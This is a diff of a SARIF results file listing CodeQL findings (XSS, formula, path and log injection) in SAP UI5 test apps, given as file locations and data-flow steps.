+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 237
+                  "index" : 108
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 5,
-                  "endColumn" : 37
+                  "startLine" : 16,
+                  "startColumn" : 23,
+                  "endColumn" : 51
                 }
               },
               "message" : {
-                "text" : "content={/input}"
+                "text" : "oModel. ... input')"
               }
             }
           } ]
@@ -16995,9 +18996,9 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 237
+            "index" : 111
           },
           "region" : {
             "startLine" : 5,
@@ -17011,34 +19012,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/ui5-xss",
+      "ruleId" : "js/ui5-path-injection",
       "rule" : {
-        "id" : "js/ui5-xss",
-        "index" : 1,
+        "id" : "js/ui5-path-injection",
+        "index" : 2,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
-        "text" : "XSS vulnerability due to [user-provided value](1)."
+        "text" : "The path of a saved file depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 245
+            "index" : 142
           },
           "region" : {
-            "startLine" : 8,
-            "startColumn" : 11,
-            "endColumn" : 34
+            "startLine" : 17,
+            "startColumn" : 43,
+            "endColumn" : 61
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "5edd24be658b61a4:1",
-        "primaryLocationStartColumnFingerprint" : "0"
+        "primaryLocationLineHash" : "68e5ff83e2198ff5:1",
+        "primaryLocationStartColumnFingerprint" : "26"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -17046,27 +19047,28 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 245
+                  "index" : 147
                 },
                 "region" : {
                   "startLine" : 5,
-                  "startColumn" : 11,
-                  "endColumn" : 32
+                  "startColumn" : 5,
+                  "endLine" : 7,
+                  "endColumn" : 29
                 }
               },
               "message" : {
-                "text" : "data-value={/input}"
+                "text" : "value={/input}"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 241
+                  "index" : 143
                 },
                 "region" : {
                   "startLine" : 9,
@@ -17082,18 +19084,36 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 245
+                  "index" : 142
                 },
                 "region" : {
                   "startLine" : 8,
-                  "startColumn" : 11,
-                  "endColumn" : 34
+                  "startColumn" : 23,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "data-content={/input}"
+                "text" : "{ type: \"int\" }"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 142
+                },
+                "region" : {
+                  "startLine" : 17,
+                  "startColumn" : 43,
+                  "endColumn" : 61
+                }
+              },
+              "message" : {
+                "text" : "oControl.getText()"
               }
             }
           } ]
@@ -17103,14 +19123,15 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 245
+            "index" : 147
           },
           "region" : {
             "startLine" : 5,
-            "startColumn" : 11,
-            "endColumn" : 32
+            "startColumn" : 5,
+            "endLine" : 7,
+            "endColumn" : 29
           }
         },
         "message" : {
@@ -17118,34 +19139,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/ui5-xss",
+      "ruleId" : "js/ui5-path-injection",
       "rule" : {
-        "id" : "js/ui5-xss",
-        "index" : 1,
+        "id" : "js/ui5-path-injection",
+        "index" : 2,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
-        "text" : "XSS vulnerability due to [user-provided value](1).\nXSS vulnerability due to [user-provided value](2)."
+        "text" : "The path of a saved file depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 300
+            "index" : 151
           },
           "region" : {
-            "startLine" : 22,
-            "startColumn" : 5,
-            "endColumn" : 38
+            "startLine" : 23,
+            "startColumn" : 43,
+            "endColumn" : 55
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "6e0d8f690e30e24a:1",
-        "primaryLocationStartColumnFingerprint" : "0"
+        "primaryLocationLineHash" : "b79de9dff4d8f842:1",
+        "primaryLocationStartColumnFingerprint" : "26"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -17153,15 +19174,15 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 300
+                  "index" : 156
                 },
                 "region" : {
-                  "startLine" : 8,
+                  "startLine" : 5,
                   "startColumn" : 5,
-                  "endLine" : 10,
-                  "endColumn" : 27
+                  "endLine" : 7,
+                  "endColumn" : 29
                 }
               },
               "message" : {
@@ -17172,9 +19193,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 297
+                  "index" : 152
                 },
                 "region" : {
                   "startLine" : 9,
@@ -17190,36 +19211,212 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 300
+                  "index" : 151
                 },
                 "region" : {
-                  "startLine" : 22,
-                  "startColumn" : 5,
-                  "endColumn" : 38
+                  "startLine" : 9,
+                  "startColumn" : 23,
+                  "endColumn" : 41
                 }
               },
               "message" : {
-                "text" : "content={/input}"
+                "text" : "{ type: \"string\" }"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 151
+                },
+                "region" : {
+                  "startLine" : 15,
+                  "startColumn" : 29,
+                  "endColumn" : 47
+                }
+              },
+              "message" : {
+                "text" : "oControl.getText()"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 151
+                },
+                "region" : {
+                  "startLine" : 15,
+                  "startColumn" : 21,
+                  "endColumn" : 47
+                }
+              },
+              "message" : {
+                "text" : "value"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 151
+                },
+                "region" : {
+                  "startLine" : 17,
+                  "startColumn" : 53,
+                  "endColumn" : 58
+                }
+              },
+              "message" : {
+                "text" : "value"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 151
+                },
+                "region" : {
+                  "startLine" : 17,
+                  "startColumn" : 46,
+                  "endColumn" : 59
+                }
+              },
+              "message" : {
+                "text" : "String(value)"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 151
+                },
+                "region" : {
+                  "startLine" : 17,
+                  "startColumn" : 36,
+                  "endColumn" : 60
+                }
+              },
+              "message" : {
+                "text" : "encodeX ... value))"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 151
+                },
+                "region" : {
+                  "startLine" : 17,
+                  "startColumn" : 21,
+                  "endColumn" : 60
+                }
+              },
+              "message" : {
+                "text" : "xssSanitized"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 151
+                },
+                "region" : {
+                  "startLine" : 23,
+                  "startColumn" : 43,
+                  "endColumn" : 55
+                }
+              },
+              "message" : {
+                "text" : "xssSanitized"
               }
             }
           } ]
         } ]
-      }, {
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 156
+          },
+          "region" : {
+            "startLine" : 5,
+            "startColumn" : 5,
+            "endLine" : 7,
+            "endColumn" : 29
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/ui5-path-injection",
+      "rule" : {
+        "id" : "js/ui5-path-injection",
+        "index" : 2,
+        "toolComponent" : {
+          "index" : 1
+        }
+      },
+      "message" : {
+        "text" : "The path of a saved file depends on a [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 160
+          },
+          "region" : {
+            "startLine" : 16,
+            "startColumn" : 39,
+            "endColumn" : 67
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "de27f6d546a116e8:1",
+        "primaryLocationStartColumnFingerprint" : "26"
+      },
+      "codeFlows" : [ {
         "threadFlows" : [ {
           "locations" : [ {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 300
+                  "index" : 164
                 },
                 "region" : {
-                  "startLine" : 15,
+                  "startLine" : 5,
                   "startColumn" : 5,
-                  "endLine" : 18,
+                  "endLine" : 7,
                   "endColumn" : 29
                 }
               },
@@ -17231,12 +19428,12 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 297
+                  "index" : 160
                 },
                 "region" : {
-                  "startLine" : 9,
+                  "startLine" : 10,
                   "startColumn" : 17,
                   "endColumn" : 28
                 }
@@ -17249,18 +19446,18 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 300
+                  "index" : 160
                 },
                 "region" : {
-                  "startLine" : 22,
-                  "startColumn" : 5,
-                  "endColumn" : 38
+                  "startLine" : 16,
+                  "startColumn" : 39,
+                  "endColumn" : 67
                 }
               },
               "message" : {
-                "text" : "content={/input}"
+                "text" : "oModel. ... input')"
               }
             }
           } ]
@@ -17270,32 +19467,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 300
-          },
-          "region" : {
-            "startLine" : 8,
-            "startColumn" : 5,
-            "endLine" : 10,
-            "endColumn" : 27
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      }, {
-        "id" : 2,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 300
+            "index" : 164
           },
           "region" : {
-            "startLine" : 15,
+            "startLine" : 5,
             "startColumn" : 5,
-            "endLine" : 18,
+            "endLine" : 7,
             "endColumn" : 29
           }
         },
@@ -17304,34 +19483,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/ui5-xss",
+      "ruleId" : "js/ui5-log-injection",
       "rule" : {
-        "id" : "js/ui5-xss",
-        "index" : 1,
+        "id" : "js/ui5-log-injection",
+        "index" : 3,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
-        "text" : "XSS vulnerability due to [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 272
+            "index" : 3
           },
           "region" : {
-            "startLine" : 13,
-            "startColumn" : 15,
-            "endColumn" : 25
+            "startLine" : 8,
+            "startColumn" : 26,
+            "endColumn" : 31
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "c18df3aa119b40dc:1",
-        "primaryLocationStartColumnFingerprint" : "11"
+        "primaryLocationLineHash" : "62d5a4db56a18502:1",
+        "primaryLocationStartColumnFingerprint" : "21"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -17339,54 +19518,54 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 272
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 13,
-                  "endColumn" : 23
+                  "startLine" : 6,
+                  "startColumn" : 17,
+                  "endColumn" : 51
                 }
               },
               "message" : {
-                "text" : "\"value\": \"{/input}\""
+                "text" : "jQuery. ... param\")"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 268
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 17,
-                  "endColumn" : 28
+                  "startLine" : 6,
+                  "startColumn" : 9,
+                  "endColumn" : 51
                 }
               },
               "message" : {
-                "text" : "input: null"
+                "text" : "value"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 272
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 13,
-                  "startColumn" : 15,
-                  "endColumn" : 25
+                  "startLine" : 8,
+                  "startColumn" : 26,
+                  "endColumn" : 31
                 }
               },
               "message" : {
-                "text" : "\"content\": \"{/input}\""
+                "text" : "value"
               }
             }
           } ]
@@ -17396,14 +19575,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 272
+            "index" : 3
           },
           "region" : {
-            "startLine" : 9,
-            "startColumn" : 13,
-            "endColumn" : 23
+            "startLine" : 6,
+            "startColumn" : 17,
+            "endColumn" : 51
           }
         },
         "message" : {
@@ -17411,34 +19590,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/ui5-formula-injection",
+      "ruleId" : "js/ui5-log-injection",
       "rule" : {
-        "id" : "js/ui5-formula-injection",
-        "index" : 2,
+        "id" : "js/ui5-log-injection",
+        "index" : 3,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
-        "text" : "The content of a saved file depends on a [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 51
+            "index" : 3
           },
           "region" : {
-            "startLine" : 17,
-            "startColumn" : 27,
-            "endColumn" : 45
+            "startLine" : 16,
+            "startColumn" : 26,
+            "endColumn" : 31
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "41899ff1a967017d:1",
-        "primaryLocationStartColumnFingerprint" : "10"
+        "primaryLocationLineHash" : "751ece7cb6fd18f7:1",
+        "primaryLocationStartColumnFingerprint" : "21"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -17446,73 +19625,144 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 55
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 5,
-                  "startColumn" : 5,
-                  "endLine" : 7,
-                  "endColumn" : 29
+                  "startLine" : 13,
+                  "startColumn" : 23,
+                  "endColumn" : 30
                 }
               },
               "message" : {
-                "text" : "value={/input}"
+                "text" : "req.url"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 52
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 9,
+                  "startLine" : 13,
+                  "startColumn" : 13,
+                  "endColumn" : 37
+                }
+              },
+              "message" : {
+                "text" : "url.par ... , true)"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 3
+                },
+                "region" : {
+                  "startLine" : 13,
+                  "startColumn" : 9,
+                  "endColumn" : 37
+                }
+              },
+              "message" : {
+                "text" : "q"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 3
+                },
+                "region" : {
+                  "startLine" : 14,
                   "startColumn" : 17,
-                  "endColumn" : 28
+                  "endColumn" : 18
                 }
               },
               "message" : {
-                "text" : "input: null"
+                "text" : "q"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 3
+                },
+                "region" : {
+                  "startLine" : 14,
+                  "startColumn" : 17,
+                  "endColumn" : 24
+                }
+              },
+              "message" : {
+                "text" : "q.query"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 3
+                },
+                "region" : {
+                  "startLine" : 14,
+                  "startColumn" : 17,
+                  "endColumn" : 33
+                }
+              },
+              "message" : {
+                "text" : "q.query.username"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 51
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 23,
-                  "endColumn" : 38
+                  "startLine" : 14,
+                  "startColumn" : 9,
+                  "endColumn" : 33
                 }
               },
               "message" : {
-                "text" : "{ type: \"int\" }"
+                "text" : "value"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 51
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 27,
-                  "endColumn" : 45
+                  "startLine" : 16,
+                  "startColumn" : 26,
+                  "endColumn" : 31
                 }
               },
               "message" : {
-                "text" : "oControl.getText()"
+                "text" : "value"
               }
             }
           } ]
@@ -17522,15 +19772,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 55
+            "index" : 3
           },
           "region" : {
-            "startLine" : 5,
-            "startColumn" : 5,
-            "endLine" : 7,
-            "endColumn" : 29
+            "startLine" : 13,
+            "startColumn" : 23,
+            "endColumn" : 30
           }
         },
         "message" : {
@@ -17538,34 +19787,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/ui5-formula-injection",
+      "ruleId" : "js/ui5-log-injection",
       "rule" : {
-        "id" : "js/ui5-formula-injection",
-        "index" : 2,
+        "id" : "js/ui5-log-injection",
+        "index" : 3,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
-        "text" : "The content of a saved file depends on a [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 59
+            "index" : 3
           },
           "region" : {
-            "startLine" : 23,
-            "startColumn" : 27,
-            "endColumn" : 39
+            "startLine" : 25,
+            "startColumn" : 26,
+            "endColumn" : 32
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "9afa5fd07ee36af6:1",
-        "primaryLocationStartColumnFingerprint" : "10"
+        "primaryLocationLineHash" : "191c273ff0751536:1",
+        "primaryLocationStartColumnFingerprint" : "21"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -17573,290 +19822,198 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 64
-                },
-                "region" : {
-                  "startLine" : 5,
-                  "startColumn" : 5,
-                  "endLine" : 7,
-                  "endColumn" : 29
-                }
-              },
-              "message" : {
-                "text" : "value={/input}"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 61
-                },
-                "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 17,
-                  "endColumn" : 28
-                }
-              },
-              "message" : {
-                "text" : "input: null"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 59
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 9,
+                  "startLine" : 21,
                   "startColumn" : 23,
-                  "endColumn" : 41
+                  "endColumn" : 30
                 }
               },
               "message" : {
-                "text" : "{ type: \"string\" }"
+                "text" : "req.url"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 59
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 29,
-                  "endColumn" : 47
+                  "startLine" : 21,
+                  "startColumn" : 13,
+                  "endColumn" : 37
                 }
